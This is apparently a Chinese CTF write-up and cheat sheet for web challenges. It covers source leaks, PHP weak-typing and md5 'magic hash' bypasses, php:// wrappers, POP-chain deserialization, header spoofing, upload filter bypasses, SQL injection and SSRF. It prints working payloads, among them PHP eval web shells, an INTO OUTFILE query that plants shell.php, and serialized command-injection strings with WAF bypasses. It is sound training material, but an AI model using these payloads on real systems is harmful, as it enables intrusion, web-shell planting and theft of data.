具体题型
目录
(1)信息搜集类
网页源代码和http请求响应,robots.txt文件
网页源代码编辑html
web源码泄露
git源码泄露
svn源码泄露
hg源码泄漏
网站备份压缩文件
WEB-INF/web.xml 泄露
SWP 文件泄露
GitHub源码泄漏
用diesearch扫一下目录
- 爆破
攻防世界weak_auth
攻防世界,文件包含题目中php://filter伪协议过滤器爆破
用php://filter/convert.base64-encode/resource=flag.php读取源代码发现有字符被过滤使用 Conversion Filters
尝试使用以下过滤器,都不行
- convert.base64
- convert.quoted
使用 convert.iconv.[]过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)
convery.iconv.*的使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
(2)php类型
php 弱类型(变量的值为假(如 null、false、0、空字符串等),则条件成立)
1.php弱比较,绕过MD5加密函数
另外还有一点,php中的大多数函数对数组的处理都会返回null。例如:strpos(),strcmp(),strlen().array_search(),再比较两者是否相等时是使用的弱类型。
intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。
即使出现无法转换的字符串,intval() 不会报错而是返回 0。
这个时候 $a 的值有可能是 1002 union…
strcmp 漏洞绕过 php -v <5.3
strcmp 是比较两个字符串,如果 str1<str2 则返回<0 如果 str1 大于 str2 返回>0 如果两者相等返回 0
我们是不知道$password 的值的,题目要求 strcmp 判断的接受的值和$password 必需相等,
strcmp 传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢
我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等
payload: password[]=xxx
2.数组绕过PHP ===
3.bugku,qiannvyou
看源码,链接藏得很深
http://114.67.175.224:14980/index.php?v1=s1885207154a&v2=s1091221200a&v3[]=xxxx
介绍一批 md5 开头是 0e 的字符串 上文提到过,0e 在比较的时候会将其视作为科
学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0。md5('240610708')
== md5('QNKCDZO')成功绕过!
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
http://114.67.175.224:14980/index.php?v1=s1885207154a&v2=s1091221200a&v3[]=xxxx
4.攻防世界中easyphp
利用PHP科学计数法和弱类型,json_decode(),绕过array_search()在比较中也是弱类型
JSON数值格式:{ “key” : value}
JSON字符串格式:{ “key” : “value”}
JSON数组格式:{ “key” : [value]}
JSON对象格式:{ “key” : {value}}
(array): 这是一个强制类型转换,将 json_decode() 返回的结果强制转换为数组。如果解码失败,结果可能是 null,此时转换为数组后会变为一个空数组。
array_search()函数绕过
在数组中搜索某个键值,并返回某个键名array_search 函数 类似于== 也就是
5.PHP伪协议
大多配合文件包含。例如:攻防世界fileclude
php://filter 读取文件
php://input 写入文件, 数据利用 POST 传过去
file_get_contents(),用data://和php://input都可以
data://可以用于控制 file_get_contents 的内容为用户输入的流
攻防世界:
变量覆盖extract;
extract() 函数把数组元素拆成变量。对于数组中的每个元素, 键名用于变量名,键值用于变量值。
思路就是把原有的$flag给替换掉,最好就是让它为空,$flag为一个不存在的文件。
payload:?shiyan=&flag=
反序列化
反序列化大多与POP链相结合
POP链
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。
魔术方法触发前提:魔术方法所在类(或对象)被调用。
POP链是一环扣着一环,像一个链条一样,这也就是说它是紧密联系起来的。我们只需找到入口和出口,任意反推或者正推就比较好解决
思路
首先这里传入数据的入口是反序列化,那就是__wakeup(),出口那就是要读取文件,那就是 __invoke() ,一个是魔法方法
1. 使用正推,进入wakeup后看起来是一个非常正常的函数,只能通过$this->source来完成跳转,这里的可能有两个,一是利用属性不存在跳转__get(),二是利用将对象作为字符串使用跳转__toString()。第一个方法行不通,因为类中没有__get()方法。所以要用第二种方案,后续exp中详细说明这种方案。
2. 假设进入__toString()后,显然是需要str返回一个对象时去搜寻source属性,下一步就是无法搜索到这个属性就可以跳转__get(),但是这里是需要跳转到Test类才有__get(),那么就让str返回的对象是Test对象。
3. 进入__get()后,找到它的属性并强行调用方法,明显就需要跳转至__invoke(),那么就要让$this->p找到Read类中。
4. 进入__invoke()后将$var设为你想要的文件就到达出口了。
最后书写exp,将Read类的对象放入Test类的p属性中,再将上述的一堆放入str,最后要将对象作为字符串,那么让Show类的source属性等于对象自己就可以了。
exp:
payload:pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
不同类型属性序列化后的格式
%00类名%00,%00=null
攻防世界:Web_php_unserialize
exp:
攻防世界:unseping
入口是__wakeup,出口是命令执行函数exec
反序列化会调用__wakeup(),然后会调用waf(),可以看到waf()中过滤
|,&,;,空格,/,cat,flag,tac,php,ls
__destruct()销毁对象或脚本结束时被调用,若$methd的值在数组array("ping")中[相当于:$methd=="ping"]
function __destruct() 是一个析构函数,在对象生命周期结束时自动调用。
if (in_array($this->method, array("ping"))) 检查 $this->method 是否为 "ping"。in_array() 函数用于判断一个值是否在数组中。
如果条件成立,call_user_func_array(array($this, $this->method), $this->args) 会调用当前对象 $this 的 $this->method 方法,并传递 $this->args 作为参数。
call_user_func_array(array($this, $this->method),
$this->args);
/* 调用回调函数,并把一个数组参数作为回调函数的参数。
这里相当于调用ping()
array中
$this 相当于当前这个类
$this->method=="ping" 这个类下的ping()方法
后面那个参数就是ping()方法中的实参 */
最后调用ping()方法执行命令后输出
exp:
payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
发现
于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。
查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php
但是“/”符号被过滤了。过滤了斜杠‘/’可利用';'拼接命令绕过,但是不管用
查看flag_831b69012c67b35f.php文件内容,使用more代替cat,使用8进制编码"/"
more flag_1s_here/flag_831b69012c67b35f.php
“/“的八进制编码为\57,使用$(printf${IFS}”\57”)执行输出“/”到字符串中。
在这个表达式中,$(printf ${IFS} "/") 的意思是使用 printf 命令输出一个字符串,其中 ${IFS} 是一个特殊变量,代表内部字段分隔符(Internal Field Separator)。这个语法的内联执行意味着在命令执行的上下文中,会将 printf 的输出作为字符串使用。
具体来说,printf ${IFS} "/" 会输出一个斜杠(/),但前面会有一个由 ${IFS} 定义的空白字符(如空格或制表符)。最终结果会是一个可能带有空白字符的字符串,输出内容为“ /”或类似格式。
最终payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MToibW9yZSR7SUZTfWZsIiJhZ18xc19oZXJlJChwcmludGYke0lGU30iXDU3IilmXGxhZ184MzFiNjkwMTJjNjdiMzVmLnBcaHAiO319
ereg()%00截断
其次ereg() 只能处理字符串,遇到数组会返回null
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
方法1:利用数组绕过这两个函数ereg() 只能处理字符串,遇到数组会返回null,null !== false,也就是说满足了 让条件(1)不成立。
strpos() 的参数同样不能够是数组,遇到数组也会返回null,null !== false,即条件(3)成立
strlen() 遇到数组时也返回null,而null长度小于8,返回True,而另外一个判断条件是否大于 9999999,它这里是整数类型,数组类型要大于整数,所以也返回TRUE。即条件(2)成立。。
故 Payload:http:xxxxxx?password[]=1
方法2:%00截断绕过正则匹配
条件(2)(3)成立即: password 长度必须 <8 且 大小>9999999,并且包含有“-”
条件(1)不成立,即:password 只能是一个或者多个数字、大小写字母
%00截断:ereg函数 读到 %00 的时候,就截止了。
第(2)个条件:长度小于8大小大于99999999,可以用科学计数法来绕过,构造10的7次方 10000000>9999999
构造 ?password=1e7%00-
bugku中never-give-up(很精彩这题)
思路:打开先查看源代码,发现隐藏的1p.html,再打开发现源代码,经过三次解码,审计php代码。id,a,b发现三个参数。
(3)HTTP头部信息
1.从本地访问,那么应该是127.0.0.1这个地址访问,去网上搜一下http请求时说明表示从哪里访问,1是X-Forwarded-For,2是client-ip,bp抓包用1修该不成功,用2后直接爆出flag。
在请求头中加上,X-Forwarded-For:127.0.0.1
2.bugku你从哪里来,Referer。bp把包抓下来传上去个。
Referer: http://www.google.com
- XFF和Rerferer的结合运用
攻防世界:xff_referer
(4)Python爬虫信息处理
这类题目一般都是给一个页面,页面中有算式或者是一些数字,要求在很短的时间内求出结果并提交,如果结果正确就可以返回flag。
因为所给时间一般都很短而且计算比较复杂,所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库(或者re库(正则表达式)),个人感觉使用BeautifulSoup简单一些。
(5)文件包含和文件上传结合
bugku文件包含 2。思路:打开发现文件包含,然后发现upload.php,上传文件png(因为有文件包含所以上传的文件后缀无所谓)发现过滤<?php和?>所以用<?=eval($_POST['a']);echo 'b';绕过,蚁剑
使用文件读取协议:file:///flag留疑
(6)sql约束攻击,
-
题目:CTFshow web301-304代码审计因为要vip所以简单看看
联合注入。
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录。
mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录
平常我们联合注入的时候一般是这样的paylaod:?id=1 and 1=2 union select 1,database()#。两个回显位,返回给我们的是1 数据库名称。这个1是哪来的呢,就是...select 1...创建的虚拟数据1。
然后解释一下同文件中的17行的语句if(!strcasecmp($userpwd,$row['sds_password'])),满足条件就能登陆成功。PHP中strcasecmp()函数是比较字符串,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
payload:
账号:-1' union select 1717#
密码:1717
账号进入SQL语句,拼接,未查询到内容,但是创建了虚拟数据1717。那么就是返回了1717。程序把1717当成了账号在数据库中查询到的密码,我们输入的密码也是1717,strcasecmp()函数判断相等,成功登录
方法二:
写入shell。也是基础SQL注入。
Sql知识点:
out file 写入文件,select ‘需要写入的内容’ out file ‘需要写入的地址\1.php’;
一句话木马: <?php @eval($_REQUEST[“password”]) ?>
payload:
账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#
密码:1
然后访问shell.php 让1=system('cat flag.php')
bugku中的login1,
sql注入中过滤字符排除
异或注入了解一下,两个条件相同(同真或同假)即为假
?id=1'^(length('union')!=0)--+如果返回页面显示正常,那就证明 length(‘union’)==0 的,也就是 union 被过滤了
同理测试出被过滤的字符串有:and,or,union,select
都用双写来绕过
(7)SSRF服务器请求伪造
先试试能不能利用file:///flag获取
当利用SSRF漏洞时,攻击者可以通过构造恶意请求来读取本地文件。其中一种方法是使用file协议来读取本地文件。
babyweb
dirsearch扫描没结果,题目官方给的wireup是因为是SSRF所以猜测为ssrf.php
http://61.147.171.105:56421/ssrf.php
尝试file协议读取,直接获取flag。
file:///flag